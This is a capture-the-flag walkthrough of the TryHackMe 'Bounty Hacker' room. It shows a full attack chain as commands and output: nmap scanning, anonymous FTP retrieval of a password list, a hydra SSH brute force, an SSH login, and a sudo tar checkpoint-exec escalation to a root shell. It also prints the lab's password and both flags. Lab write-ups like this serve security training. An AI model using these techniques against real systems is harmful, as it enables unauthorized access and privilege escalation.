Bounty Hacker

Scanning

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ nmap -A 10.10.209.170 -oN nmap.scan -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 19:58 PKT
Nmap scan report for 10.10.209.170
Host is up (0.18s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.8.153.207
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Enumeration

FTP

```
┌──(moghees㉿kali)-[~]
└─$ ftp ftp://anonymous:anonymous@10.10.209.170
Connected to 10.10.209.170.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||29512|)
```

```
ftp> ls
229 Entering Extended Passive Mode (|||29512|)
ftp: Can't connect to `10.10.209.170:29512': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |*****************************************************************************************|   418        7.59 KiB/s    00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (1.77 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |*****************************************************************************************|    68      109.58 KiB/s    00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.37 KiB/s)
ftp>
```

- Locks.txt

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

- Task.txt

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

- We have been given a wordlist and a message having users name. Try brute forcing **ssh**.

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ hydra -l 'lin' -P locks.txt ssh://10.10.209.170
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-16 20:13:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.209.170:22/
[22][ssh] host: 10.10.209.170   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-16 20:13:53
```

Website
- No need to enumerate as I got foothold.

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.209.170

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.209.170
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.10.209.170/images/]
```

Foothold

Got **ssh** credentials from **ftp**.

Username: **lin**
Password: **RedDr4gonSynd1cat3**

```
┌──(moghees㉿kali)-[~/Desktop/CTF/TryHackMe/bounty_hacker]
└─$ ssh lin@10.10.209.170
The authenticity of host '10.10.209.170 (10.10.209.170)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:56: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.209.170' (ED25519) to the list of known hosts.
lin@10.10.209.170's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$
```

Privilege Escalation

```
lin@bountyhacker:~$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
lin@bountyhacker:~$
```

```
lin@bountyhacker:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

Flags

```
lin@bountyhacker:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
lin@bountyhacker:~$ cd Desktop/
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
lin@bountyhacker:~/Desktop$
```

```
root@bountyhacker:/root# ls
root.txt
root@bountyhacker:/root# cat root.txt
THM{80UN7Y_h4cK3r}
root@bountyhacker:/root#
```